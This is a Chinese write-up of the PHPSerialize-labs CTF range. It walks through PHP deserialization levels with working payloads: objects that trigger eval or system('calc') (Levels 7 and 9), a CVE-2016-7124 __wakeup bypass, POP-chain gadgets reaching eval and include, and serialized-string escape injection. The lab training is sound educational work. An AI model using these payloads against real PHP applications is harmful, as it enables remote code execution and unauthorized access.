探姬 PHPSerialize-labs-main 反序列化靶场解题思路
前言:本教程使用的是探姬的靶场,参考http://github.com/ProbiusOfficial/PHPSerialize-labs
刚学了php的反序列化来写个wp记录一下吧。
目录
Level 11: __wakeup() CVE-2016-7124
Level 1: 类的实例化
存在__construct函数,当对象创建时调用,可以使用new FLAG();触发
提交POSTcode=new FLAG();
Level 2: 对象中值的传递
观察代码中$target->get_free_flag();调用函数get_free_flag()从而输出$this->free_flag;
由于源代码中已经有类的创建了我们只需要将变量$flag_string赋值给$target->free_flag即可
code=$target->free_flag=$flag_string;
Level 3: 对象中值的权限
分析代码,发现存在不同修饰符public、protected和private
其中public修饰的变量可以直接输出,而protected和private修饰的变量需要通过函数get_protected_flag() 和get_private_flag() 输出
所有可以得到下面语句来获取完整flag
$target->public_flag.$target->get_protected_flag().$target->get_private_flag();对应提交的POST语句
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
Level 4: 序列化初体验
这道题目已经使用
$flag_is_here = new FLAG();
从而触发__construct方法,所以我们只需要通过序列化$flag_is_here并输出即可
提交POST: code=echo serialize($flag_is_here);
得到的序列字符串提取出flag即可,连起来应该是 ser4l1ze2se3me
Level 5: 序列化的普通值规则
分析源码,发现这道题是考察不同数据类型的序列化,所以直接按照对应的规则序列化后提交即可
构造对用的POST语句:
<?php class a_class{ public $a_value = "HelloCTF"; } $your_object = new a_class(); $your_boolean = true; $your_NULL = null; $your_string = "IWANT"; $your_number = 1; $your_object->a_value = "FLAG"; $your_array = array('a'=>"Plz",'b'=>"Give_M3"); $exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL); echo $exp;POST提交:
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;
Level 6: 序列化的权限修饰规则
分析代码可知道,只需要将序列化的对象protectedKEY和privateKEY进行url编码后即可,因为直接提交的话%00的参数由于无法显示,则无法提交POST成功
先构造POST
<?php // 类:演示protected属性序列化 class protectedKEY{ protected $protected_key = "protected_key"; // protected属性 // 方法不会被序列化,只序列化属性 function get_key(){ return $this->protected_key; } } // 类:演示private属性序列化 class privateKEY{ private $private_key = "private_key"; // private属性 // 方法不会被序列化 function get_key(){ return $this->private_key; } } // 生成序列化payload(用于URL传输) // protected序列化特征:%00*%00属性名 // private序列化特征:%00类名%00属性名 echo "protected_key=" . urlencode(serialize(new protectedKEY())) . "&private_key=" . urlencode(serialize(new privateKEY())); ?>运行得到POST参数:
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
Level 7: 实例化和反序列化
分析代码可知,我们可以通过控制$flag_command变量来序列化对象FLAG,从而实现命令执行
构造POST请求
<?php class FLAG{ public $flag_command = "system('calc');"; function backdoor(){ eval($this->flag_command); } } echo serialize(new FLAG());输出 O:4:"FLAG":1:{s:12:"flag_command";s:15:"system('calc');";}
通过提交o=O:4:"FLAG":1:{s:12:"flag_command";s:15:"system('calc');";}即可执行命令
Level 8: 构造函数和析构函数以及GC机制
分析代码可知,这关存在两个魔术方法__destruct和__construct
__construct是当对象实例化时触发,而__destruct是在对象被摧毁时触发
所以我们可以通过不断的对对象RELFLAG序列化和反序列化从而使得$flag > 5 即可输出flag
提交POST : code=serialize(new RELFLAG());
提交POST : code=serialize(unserialize(serialize(new RELFLAG())));
以此类推...
直到提交POST:
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
从而获取flag
Level 9: 构造函数的后门
分析代码,我们可以通过构造序列化的对象,从而成功反序列化,然后触发__destruct方法
,并且可以通过修改$flag_command来执行命令,这关类似于Level 7
构造序列化字符串
<?php class FLAG { var $flag_command = "echo 'HelloCTF';"; //执行的命令 public function __destruct() { $this->flag_command; } } echo serialize(new FLAG());得到 :O:4:"FLAG":1:{s:12:"flag_command";s:16:"echo 'HelloCTF';";}
POST提交
o=O:4:"FLAG":1:{s:12:"flag_command";s:16:"echo 'HelloCTF';";}
Level 10: __wakeup()
分析代码使用__wakeup魔术方法,在对象反序列化之前触发
由于FLAG()对象没有属性,可以直接对class FLAG{} 进行序列化得到
得到 O:4:"FLAG":0:{}
所以提交POST:
o=O:4:"FLAG":0:{}
Level 11: __wakeup() CVE-2016-7124
分析源代码可知有__destruct()和__wakeup()两个魔术方法,其中__wakeup()是在反序列化之前触发,而__destruct()是在实例化对象被摧毁时触发及反序列化后触发,所以会导致$flag变量被赋值为NULL,但是当序列化字符串中声明的属性个数大于实际属性个数时,__wakeup()方法不会被执行,所以可以先构造序列化,将属性个数修改即可。
参考:
CVE-2016-7124 漏洞说明:
影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10 (注意需要切换php版本)
漏洞原理:当反序列化时,如果序列化字符串中指定的属性个数大于实际属性个数,
就会跳过__wakeup()魔术方法的执行。
利用原理:
// 当序列化字符串中表示对象属性个数的值大于真实属性个数时
// PHP 7.2 之前版本会跳过 __wakeup() 执行
// 例如:O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
// 将 2 改成大于2的数即可绕过
1.先构造正常的序列化字符串
<?php class FLAG { public $flag = "FAKEFLAG"; } echo serialize(new FLAG());得到:O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
2.将序列修改为:O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
然后通过POST提交即可
Level 12: __sleep()
进入关卡
怎报错了,哦,这里记得把php版本改回来php>5.4即可
分析源码,乍一看,奇奇怪怪的东西,先不管,一眼看到存在魔术方法__sleep(),
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),
如果存在,该方法会先被调用,然后才执行序列化操作。
我们可以通过控制`chance`参数指定要返回的属性名,让`__sleep()`方法返回包含父类私有属性在内的所有12个FLAG片段对应的属性名,从而在序列化结果中一次性获取完整的FLAG。这里注意下是通过GET提交
对应提交参数顺序参考源代码中的:
//* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
注意$h + $e + $l + $I + $o + $c + $t + $f来自CHALLENGE对象
$f + $l + $a + $g来自FLAG对象,在序列化时注意不同修饰符的变量?chance=h
?chance=e
?chance=l
?chance=I
?chance=o
?chance=c
?chance=t
?chance=%00FLAG%00f (注意private修饰)
?chance=%00FLAG%00l (注意private修饰)
?chance=%00*%00a (注意protected修饰)
?chance=g
最后拼接得到HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
这里不懂的可以先去看看代码的含义,可能需要多揣摩下(吃了php的亏qwq)
参考代码注释:<?php /* --- HelloCTF - 反序列化靶场 关卡 12 : sleep! --- */ // 父类 FLAG - 包含真正的flag片段 class FLAG { // 私有属性,需要用 "\0FLAG\0属性名" 格式访问 private $f; // 值 = 'clean_' private $l; // 值 = 'up_' // 受保护属性,需要用 "\0*\0属性名" 格式访问 protected $a; // 值 = '4nd_' // 公有属性,直接用属性名访问 public $g; // 值 = 'select_variab1es}' // 干扰属性 - 只为了在序列化时显示这些 public $x,$y,$z; // __sleep() 魔术方法 - 决定序列化哪些属性 public function __sleep() { // 只返回 x,y,z,隐藏了真正的flag属性 return ['x','y','z']; } } // 子类 CHALLENGE - 继承FLAG class CHALLENGE extends FLAG { // 公有属性 - 包含大部分flag片段 public $h = 'HelloCTF{'; // flag开头 public $e = 'Th3_'; // 第二部分 public $l = '__sleep_function_'; // 第三部分 public $I = '_is_'; // 第四部分 public $o = 'called_'; // 第五部分 public $c = 'before_'; // 第六部分 public $t = 'serialization_'; // 第七部分 public $f = 't0_'; // 第八部分 // chance方法 - 从GET参数获取要序列化的属性名 function chance() { // 返回用户通过 ?chance= 指定的值 return $_GET['chance']; } // 子类的 __sleep() 方法 - 关键! public function __sleep() { /* FLAG的拼接顺序: $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g (注意:有两个$f和两个$l,分别来自子类和父类) */ // 所有可能的属性名列表 $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g']; // 随机选择两个属性名(可能重复) $_ = array_rand($array_list); // 随机索引 0-11 $__ = array_rand($array_list); // 随机索引 0-11 // 返回三个属性名: // 1. 第一个随机属性 // 2. 第二个随机属性 // 3. 用户通过chance指定的属性 return array($array_list[$_], $array_list[$__], $this->chance()); } } // 测试序列化FLAG类 - 只会显示x,y,z $FLAG = new FLAG(); echo serialize($FLAG); // O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;} // 测试序列化CHALLENGE类 - 通过__sleep()控制显示的属性 echo serialize(new CHALLENGE()); // 输出示例:O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";} /* 总结: 1. __sleep() 返回什么属性名,序列化结果就包含什么属性的值 2. 可以通过 chance 参数控制要显示的属性 3. 父类的私有/保护属性需要用特殊格式访问: - 父类私有属性: "\0FLAG\0属性名" - 受保护属性: "\0*\0属性名" - 公有属性: 直接使用属性名 4. 目标:获取所有12个属性的值,按顺序拼接得到flag */
Level 13: __toString()
__tostring方法的触发条件是把对象被当做字符串调用
d只需要提交 o=echo $obj; 即可触发
Level 14: __invoke()
分析存在魔术方法__invoke,触发时机:把对象被当做函数调用
代码中已经实例化了FLAG对象,只需提交 o=$obj("get_flag"); 即可
Level 15: POP链前置
第一步 eval($this->cmd->a->b->c); 关键代码,需要用action和函数触发,所以可以定位到对象D的__wakeUp() 方法wakeup触发需要反序列化,先创建d并序列化,然后即可通过unserialize($_POST['o']);反序列化触发__wakeUp()
$d = new D(); serialize($d);第二步:__wakeUp()触发后,执行 $this->d->action(); 这里对应的是$d->d->action(),
$d->d是D类中的属性,由于他调用了action方法,所以需要将属性d赋值为一个存在action方法的对象,所以显然还需要把实例化destnation对象赋给的D类的属性d
这样就成功触发action()
$dest = new destnation(); $d = new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性 serialize($d);第三步:成功执行到 eval($this->cmd->a->b->c); ,这里的$this->cmd又是应该一个对象,并且该对象有a属性,所以,我们需要实例化A对象,并将其赋值给 destnation对象的cmd属性。
$a = new A(); $dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 serialize($d);第四步:然后执行到$this->cmd->a->b,同理可知,这里的$this->cmd->a又是应该一个对象,并且该对象有b属性,所以,我们需要实例化B对象,并将其赋值给A对象的a属性。
$b =new B(); $a = new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d = new D(); $d->d = $dest; serialize($d);然后以此类推到了$this->cmd->a->b->c,这里的$this->cmd->a->b又是应该一个对象,并且该对象有c属性,所以,我们需要实例化C对象,并将其赋值给B对象的b属性。
下面是完整构造php代码<?php class A { public $a; public function __construct($a) { $this->a = $a; } } class B { public $b; public function __construct($b) { $this->b = $b; } } class C { public $c; public function __construct($c) { $this->c = $c; } } class D { public $d; public function __construct($d) { $this->d = $d; } } class destnation { var $cmd; public function __construct($cmd) { $this->cmd = $cmd; } } $c = new C("echo 123;"); // 传入 命令字符串 测试代码执行 $b =new B($c); // 传入 实例化对象 $c 赋值给 b 属性 $a = new A($b); // 传入 实例化对象 $b 赋值给 a 属性 $dest = new destnation($a); // 传入 实例化对象 $a 赋值给 cmd属性 $d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性 echo serialize($d); ?>运行后得到:
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:9:"echo 123;";}}}}}
Level 16: POP链构造
1、首先我们定位到关键代码 A类的 return $flag ,前面有include $this->a,所以们需要将A类的属性a赋值为flag.php,才能输出flag。
$a = new A();
$a->a= "flag.php"
2、然后思考如何触发 __invoke,触发条件是 把对象当做函数调用,观察整个源代码,发现
B类最后一段存在 echo $f(); ,然后前一段代码是$f = $this->b,所以可以将B类中的属性b赋值为对象A,即可触发 A类中的__invoke方法。
$b = new B();$b->b = $a;
3、
接下来考虑触发B类的__toString方法,触发添加是将对象以字符串函数输出,观察INIT类中有echo $this->name,于是可以将name属性赋值为B类,从而触发__toString
$init = new INIT();$init->name = $b;
所以完整的构造php代码如下:
<?php class A { public $a; } class B { public $b; } class INIT { public $name; } $a = new A(); $a->a = "flag.php"; #用于输出flag $b = new B(); $b->b = $a; #用于触发 __invoke $init = new INIT(); $init->name = $b; #用于触发 __tostring echo serialize($init); #用于触发__wakeup得到:
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}
Level 17:字符串逃逸基础-无中生有
分析代码可知,输出flag有两个条件,一个是变量$a的类型是A类对象,对象的属性
helloctfcmd的值为get_flag
所以我们只需要构造一个A类的序列化,并且给他加上一个helloctfcmd属性,值为get_flag即可
O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}
Level 18:字符串逃逸基础-尾部判定
分析源代码可知,获取flag同样需要两个条件,
一是变量$flag必须是FLAG类
二是该类存在key参数,其值为GET_FLAG
该题目中我们可以通过输入控制$target和$change变量,然后通过str_replace函数,将序列化的字符串中的所有$target替换为$change,在不替换的时候序列化字符串如下:
'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
首先我们可以尝试将$target赋值为Demo , $change赋值为 FLAG,从而满足条件一,但是,这样无法满足key值为GET_FLAG, 所以我们可以利用序列化字符的结束标志 ;} 来构造
将$target赋值为Demo,而 $change赋值为
替换后从而得到:
'O:4:"FLAG":1:{s:3:"key";s:8:"GET_FLAG";}":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'由于出现 ;} 所以将后面的序列化字符直接截断了,满足了 获取flag的条件。(这里注意对应的字符长度和属性数量需要构造正确)
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐













































所有评论(0)